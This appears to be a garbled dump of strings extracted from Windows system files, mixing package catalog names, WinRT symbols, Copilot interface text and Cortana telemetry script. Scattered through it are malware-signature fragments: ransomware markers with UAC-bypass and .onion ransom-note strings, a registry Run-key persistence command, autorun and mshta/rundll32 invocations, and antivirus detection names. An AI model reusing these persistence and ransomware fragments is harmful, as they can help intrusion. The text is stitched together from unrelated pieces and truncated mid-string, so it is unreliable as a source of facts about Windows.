Microsoft-Windows-AppServerClient-OptGroup-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-DirectPlay-OC-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Embedded-AssignedAccessCsp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft.Windows.MissionControlAggregator
Microsoft.Windows.MissionControlAggregator
com.microsoft.windows.extensions.xaml.personacardmanagerR0
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!
.exeWindows.FullTrustApplication{
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\result_macros.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\registry.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\result.h
Microsoft.Windows.Security.Acc
login.windows.net
sts.windows.net
DriverData=C:\Windows\System32\Drivers\DriverData
sts.windows.net
sts.windows.net
login.windows.net
login.windows.net
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
\windows\currentversion\policies\
C:\Windows\en-US\ielowutil.exe.mui
2-regaddhklm\software\policies\microsoft\windows\networkconnections
EnumWindows
SetWindowsHookExW
UnhookWindowsHookEx
WindowsGetStringLen
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
WindowsCompareStringOrdinal
system32\regsvr32%temp%\
.rtfc:\windows\explorer.exe%windir%\system32\cmd.exe%
Windows.SystemToast.NfpAppLaunch
Windows.SystemToast.NfpDevicePairing
Windows.SystemToast.NfpReceiveContent
Windows.SystemToast.PinConsent
Windows.SystemToast.Print.Notification
Windows.SystemToast.Print.PrinterCleanupTask
Windows.SystemToast.Print.PrintNotification
Windows.SystemToast.RasToastNotifier
.?AU?$_AsyncInfoImpl@PE$AAUIAsyncAction@Foundation@Windows@@VAsyncActionCompletedHandler@23@E@details@Concurrency@@
.?AU__I?$_AsyncInfoImpl@PE$AAUIAsyncAction@Foundation@Windows@@VAsyncActionCompletedHandler@23@EPublicNonVirtuals@details@Concurrency@@
.?AU?$IAsyncOperation@E@Foundation@Windows@@
.?AUIAsyncInfo@Foundation@Windows@@
.?AUIVectorChangedEventArgs@Collections@Foundation@Windows@@
#<title>windows(
e<title>windowsdefender</title>
\<title>windowserrorsupport</title>
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.MediaFoundation.JPEGXL
Microsoft.Windows.MediaFoundation.RAWImageDecoder
Microsoft.Windows.MediaFoundation.HEIFReader
Microsoft.Windows.MediaFoundation.H265Decoder
Microsoft.Windows.MediaFoundation.CodecAppSvc
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
!#NID:SuspSystem32Clean
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
TEMP=C:\Users\job\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\microsoft.windowsstore_8wekyb3d8bbwe\AC\Temp
napshot_killpkcs1vrustc-demangleprocess.rsrand.rsbufreader.rsencrypt_app::windowslocker::core::os::windows::desktop_noteuac_bypass::shell_exec=-u-p-s-d-f-cpropagate::attempt=masquerade_pebRECOVER-${EXTENSION}-FILES.txt.onion/?access-key=${ACCESS_KEY}-vm-
shttp://schemas.microsoft.com/windows/pki/2005/Authenticode
Microsoft.Windows.Security.CodeIntegrity.Wintrust
Microsoft.Windows.Security.CodeIntegrity.Driver
INITION.MICROSOFT.WINDOWS.INPUT.
.WINDOWS
.WINDOWS.NETWO(@
.WINDOWS.NETWO(@
FT.WINDOWS.NET(@
.WINDOWS.POWER @
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
SOFT.WINDOWS.S(@
SOFT.WINDOWS.S(@
SOFT.WINDOWS.S(@
.WINDOWS
WINDOWS.STARTR(@
SOFT.WINDOWS.T(@
.WINDOWS
OFT.WINDOWS.UP(@
globalDiagnosticsFoundationLoggingOptionsWindowsapplyctor
Microsoft.Windows.Messaging.Service
![%\system32\cc
pwindows
estsoftservice.datreg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /d "%s" /t REG_SZ /v "%sdat.exe.gif.htm.jpg.mjs.pdf.png.svg.tmp.tBehavior:Win32/SnailResin.A!dha
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
d:\build\ob\bora-24500704\cayman_libiconv\build\release\win64_vc140\libiconv\build\windows\vc140\libiconv_dll\x64\Release\iconv.pdb
Microsoft-Windows-Store
.?AU?$__abi_FunctorCapture@V<lambda_12cfab414a2fc641d53db9793f1a57d1>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
</WindowsPerformanceRecorder>
*.wns.windows.com0
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
-for-windows\Win:
mozilla/5.0(windowsnt10.0;win64;x64)appleWebKit/537.36(khtml,likegecko)chrome/70.0.3538.102safari2
piz y Windows Ink
piz y Windows Ink
 Copilot is displayed in this languageDisplay Microsoft Copilot in this languageContinue running background extensions and apps when Microsoft Copilot is closedHelp make Microsoft Copilot better by reporting the <a is="action-link" target="_blank">current settings</a>Microsoft Copilot regularly checks to make sure you have the safest settings. We'll let you know if anything needs your review.Microsoft Copilot found some safety recommendations for your reviewMicrosoft Copilot will let you know if anything needs your reviewMicrosoft Copilot updateMicrosoft Copilot can check your passwords when you save themLearn how Microsoft Copilot keeps you safeMicrosoft Copilot's safety toolsWith <a href="$1" target="_blank">tools from Microsoft Copilot</a>, you can browse safely and stay in controlMicrosoft Copilot Incognito<a href="$1" target="_blank">Microsoft Copilot warns you</a> about unsafe sites and downloadsMicrosoft Copilot is out of dateMicrosoft Copilot is up to dateGo to Microsoft Copilot version settingsRelaunch Microsoft CopilotYou haven't visited recently. Microsoft Copilot removed $1You haven't visited recently. Microsoft Copilot removed $1, $2You haven't visited recently. Microsoft Copilot removed $1, $2, $3You haven't visited recently. Microsoft Copilot removed $1, $2, and $3 moreDangerous site. Microsoft Copilot removed notifications.Microsoft Copilot upgrades insecure connections to HTTPS automatically when possibleMicrosoft Copilot will try to upgrade navigations to HTTPSMicrosoft Copilot will warn you before loading any site using an insecure connectionWhen browsing in Incognito mode, Microsoft Copilot will warn you before loading a site using an insecure connectionWhen HTTPS isn't available, Microsoft Copilot will use an insecure connection without warning youMicrosoft Copilot CanaryMicrosoft Copilot BetaMicrosoft Copilot DevWelcome to Copilot; new application window openedCopilot CanaryCopilot DevCopilot BetaApplication$1 - Microsoft Copilot Beta$1 - Microsoft Copilot Dev$1 - Microsoft Copilot CanaryMicrosoft Copilot isn't responding. Restart the application?Cannot start Microsoft Copilot because something went wrong when opening your profile. Try to restart Microsoft Copilot.Make sure you are signed in to Copilot on your $1 and then try sending again.Please close all Copilot windows and try again.Are you sure you want to uninstall Copilot?Uninstall CopilotWhen you uninstall Microsoft Copilot, your apps and widgets that depend on Copilot will no longer be available. $1Let Copilot Run in the BackgroundDisable Copilot Running in Background for AppsCopilot cannot read and write to its data directory: $1Your profile cannot be used because it is from a newer version of Copilot. Some features may be unavailable. Please specify a different profile directory or use a newer version of Copilot.Your preferences file is corrupt or invalid. Copilot is unable to recover your settings.Copilot lets you know if your passwords are ever compromisedCopilotFor security, Microsoft Copilot requires you to sign in with your device password.Microsoft Copilot is trying to show payment card details. Enter your Windows password to allow this.Microsoft Copilot is trying to show passwords. Enter your Windows password to allow this.Microsoft Copilot is trying to copy passwords. Type your Windows password to allow this.Microsoft Copilot is trying to edit passwords. Type your Windows password to allow this.Microsoft Copilot wants to export your passwords. Enter your Windows password to allow this.Microsoft Copilot is trying to import passwords. Enter your Windows password to allow this.Microsoft Copilot wants to delete your Password Manager data. Type your Windows password to allow this.Microsoft Copilot is trying to replace existing passwords. Type your Windows password to allow this.This computer already has a more recent version of Microsoft Copilot. If the software is not working, please uninstall Microsoft Copilot and try again.Installation failed due to unspecified error. If Microsoft Copilot is currently running, please close it and try\[
WindowsOobeAppHost.AppXxbbgfs3eefd4q8nqbj8mweta7dggm8n8.mca
WindowsOobeAppHost.wwa
Microsoft.Windows.AppNotifico
Windows.Appraiser.amd64
  WINDOWS 8.1 APPX PHONE MANIFEST SCHEMA
  This is the Schema that defines the Windows 8.1 Phone specific elements and attributes.
  These types are imported into the full schema which is the Windows 8.1 version
  of the Windows 8 schema. It is defined in the AppxManifestSchema2010_v2.xsd
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
in.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
wow64_microsoft-windows-wab-core.resources_31bf3856ad364e35_en-us_9541c4a3d64f1ef4
wow64_microsoft-windows-wab-core_31bf3856ad364e35_none_adf3f0a017d693eb
wow64_microsoft-windows-wab_31bf3856ad364e35_none_620cb4546b18a573
wow64_microsoft-windows-waitfor_31bf3856ad364e35_none_dad0a9a41258f8b3
wow64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_none_5095c9339dc6ed9c
wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_none_556b897d448c5673
wow64_microsoft-windows-warppal_31bf3856ad364e35_none_73ce06351f9bf6a0
wow64_microsoft-windows-wcmapi_31bf3856ad364e35_none_a8a1825875222966
wow64_microsoft-windows-wcn-config-registrar_31bf3856ad364e35_none_6d1053685fd2f39e
wow64_microsoft-windows-wdc-events_31bf3856ad364e35_none_01e2832050f5fba7
Pd 3(Windows\diskpt.dathash=d55d1b48c32efce16bb8a027efdr56a2sn=24GAW-78SFC-DSPEG-E31U3-Z3TD7ea
reactNativeWindowsVersion
ir%\system32\drivers\etc\
Microsoft.Windows.Shell.NotificationController
Microsoft.Windows.Wil.FeatureLogging
@%SystemRoot%\system32\FirewallAPI.dll,-23090
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\WINDOWS\SYSTEM32\netbridge.exendbssh.com
Important windows fileSoulE Review Switch
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Kernel-Package-BootVid-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
dstart-processc:\windows\syswow64\rundll32.exe$dest,fgvbnfcerftguftdf
14b^com.microsoft.windows.extensionpackage;
14e^com.microsoft.windows.e
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
WindowsphoneProcessGateways
Microsoft.Windows.TlgAggregateInternal
osoftWindows.Client.CBS_
Windows.ApplicationModel.Internal.DataTransfer.ClipboardHistoryServer
SystemRoot=C:\WINDOWS"
\dnf\bieshawo.exe\system32\wahaha.ime
tSOFTWARE\Microsoft\Windows NT\CurrentVersion\SvchostU]
MaxlegetWindowsAccountType())!==null&&i!==void 0?i:0;if(t.windowsAccount=u.toString(),t.snrVersion=n.config.snrVersion,u===1){const i=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.getTenantVariants();i&&(t.msbTenantVariants=i)}if(n.config.wsbWebView2){const n=this.getWebView2Info();t.isWebView2=(n===null||n===void 0?void 0:n.isWebView2)?1:undefined;t.webView2Version=((r=n===null||n===void 0?void 0:n.webView2Version)===null||r===void 0?void 0:r.length)>0?n.webView2Version:undefined}return t}getEnrichedClientInfo(t){var r,u,f,e,o;let a=typeof _G=="object"?_G:{};const h=n.getUserAgent();let i={};if(i.entryPoint=SearchAppWrapper.CortanaApp.entryPoint,i.previousExperience=SearchAppWrapper.CortanaApp.queryFormulationView.previousExperience,i.qfMode=""+n.RuntimeConfig.QfMode,i.isSearchHome=(t===null||t===void 0?void 0:t.isSearchHomeZI)?1:undefined,i.isSVCss=n.config.useCobaltCSS?1:undefined,i.region=n.regionCache||undefined,i.lang=n.uiLanguageCache||undefined,i.DC=a.DA||undefined,i.isMobile=this._isMobile?1:0,i.isXbox=h.toLowerCase().includes("xbox one")?1:0,i.isHololens=h.toLowerCase().includes("hololens")?1:0,i.windowsColor=n.Host.getWindowsTheme(),i.appColor=n.Host.getAppTheme(),i.isDiagnosticOn=n.Host.isOptionalDiagnosticDataDisabled()?undefined:1,n.config.useCobaltCSS)i.WideAtStartupDelta=440;else{let t=n.Host.getFeatureDWORD("WideAtStartupDelta");t.validFeature&&typeof t.featureValue=="number"&&(i.WideAtStartupDelta=t.featureValue)}t&&t.scope!=n.Scope.All&&(i.scope=n.Scope[t.scope]);(t===null||t===void 0?void 0:t.fromSuggestionType)&&(i.fromClick={sType:t.fromSuggestionType,searchHome:t.fromSearchHome?1:undefined});i.deviceHistoryEnabled=n.RuntimeConfiguration.DeviceHistoryEnabled?1:0;let s=(r=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())!==null&&r!==void 0?r:0;i.windowsAccount=s.toString();let v=(u=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getMsaAccountsCount())!==null&&u!==void 0?u:0;i.msaAccountsCount=v;let y=(f=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getAadAccountsCount())!==null&&f!==void 0?f:0;if(i.aadAccountsCount=y,n.isAADVerificationRequired&&(i.aadAccountVerificationRequired=1),n.isMsftAccountConnected&&(i.msftAccountConnected=1),n.isSubstrateO365AccountConnected&&(i.o365Connected=1),n.isSubstrateOutlookAccountConnected&&(i.outlookConnected=1),n.Host.hasFallbackHappened()&&(i.fallback=1),n.Host.isClientLocationAvailable()&&(i.clientLocationAvailable=1),n.Host.isInputPanelVisible()&&(i.isInputPaneVisible=1),n.Host.getWindowsTheme()==2&&(i.darkMode=1),SearchAppWrapper.CortanaApp.colorPrevalenceEnabled&&(i.colorPrevalence=1),SearchAppWrapper.CortanaApp.isSearchBoxInTaskbar&&(i.searchBoxInTaskbar=1),SearchAppWrapper.CortanaApp.taskbarOrientation&&(i.taskbarOrientation=SearchAppWrapper.CortanaApp.taskbarOrientation),n.config.enableEdgeMuidsTelemetry&&SearchAppWrapper.CortanaApp.edgeMuids&&(i.edgeMuidCount=n.Host.getEdgeMuidCount(),i.edgeMuidDefault=n.Host.getEdgeMuidDefault(),i.edgeMuids=n.Host.getEdgeMuidsAdditional(2).join(",")),n.config.snrVersion&&(i.snrVersion=n.config.snrVersion),n.osSKUCache&&(i.osSKU=n.osSKUCache.toString()),i.defaultBrowser=n.Host.getDefaultBrowser().toString(),t===null||t===void 0?void 0:t.isSearchHomeZI){const t=n.dsbManager===null||n.dsbManager===void 0?void 0:n.dsbManager.getDynamicSearchBoxContentKeyAtShown();t&&(i.dsbContentKey=t)}if(n.config.enableDynamicSearchBox&&(i.isDSBEnabledByClient=n.Host.isDSBEnabledByClient(),i.isDSBContentPossible=n.isDynamicSearchContentPossible()),n.msbHost&&(i.tenantMsbStatus=n.msbHost.getTenantMsbStatus(),s===1||s===0)){i.msbSyncdocFired=n.msbHost.qfUtils.getClientQfSyncDocEventFired();i.msbClientQfState=n.msbHost.qfUtils.getMsbClientQfState();const t=n.msbHost.qfUtils.getClientQfStatusMessage();t&&(i.msbClientQfStatusMsg=t);const r=n.msbHost.getTenantVariants();r&&(i.msbTenantVariants=r);i.msbClientQfTrieState=n.safeExecute(()=>n.msbHost.qfUtils.getMsbClientQfTrieState(),"getMsbClientQfTrieState
s::ApplicationModel::AppService::IAppServiceConnection>::SendMessageAsync(const struct winrt::Windows::Foundation::Collections::ValueSet &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>,struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceResponse<struct winrt::Windows::ApplicationModel::AppService::IAppServiceResponse>::Status(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceResponse<struct winrt::Windows::ApplicationModel::AppService::IAppServiceResponse>::Message(void) const
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\impl\Windows.Foundation.Collections.0.h
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IPropertySet,struct winrt::hstring,struct winrt::Windows::Foundation::IInspectable>::TryLookup(const struct winrt::param::hstring &) const
struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> __cdecl winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection::SendMessageAsync(const struct winrt::Windows::Foundation::Collections::ValueSet,const struct winrt::hstring)
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceClosedEventArgs<struct winrt::Windows::ApplicationModel::AppService::IAppServiceClosedEventArgs>::Status(void) const
struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> &&__cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,void>::await_transform<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>>(struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> &&)
struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> &&__cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection &,struct winrt::Windows::Foundation::Collections::ValueSet,struct winrt::hstring>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,void>::await_transform<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>>(struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> &&)
struct winrt::Windows::Foundation::Collections::ValueSet __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection &,struct winrt::Windows::Foundation::Collections::ValueSet,struct winrt::hst
Behavior:Win32/DelWinlogonReg.A
mm.exe +h +r +s\software\microsoft\windows\currentversion\explorer\shell foldersf126.com/go/
c:\windows\
jW%s\%d-%d-%d.jpg\system32\drivers\autorun.shell\explore\command=%s.exeadministrador de tareas de windows
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system\
c:\windows\
8extractwindowseditionproduckey_temp_hiveprodukey\release\produkey.pdb!#TEL:SupportScamCusaxStr.B
c:\kt_fw\lostpardise\release\lostpardise.pdbd.qiluwl.com/mance.inisoftware\microsoft\windows\currentversion\festivalperformancemarks!#PUA:BundlerCluster:AutoKMS
https://www.bing.com/AS/API/WindowsCorta
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
X-BM-WindowsFlights
Windows
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Windows
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
Microsoft-OneCore-Console-Host-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Windows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
OS=Windows_NT
OS=Windows_NT
updateWindows
cmd /c C:\Windows\Temp
po:i+00/c:\v1windows@.windowsz1system32b.system32\2mshta.exed.mshta.exec:/windows/system32/
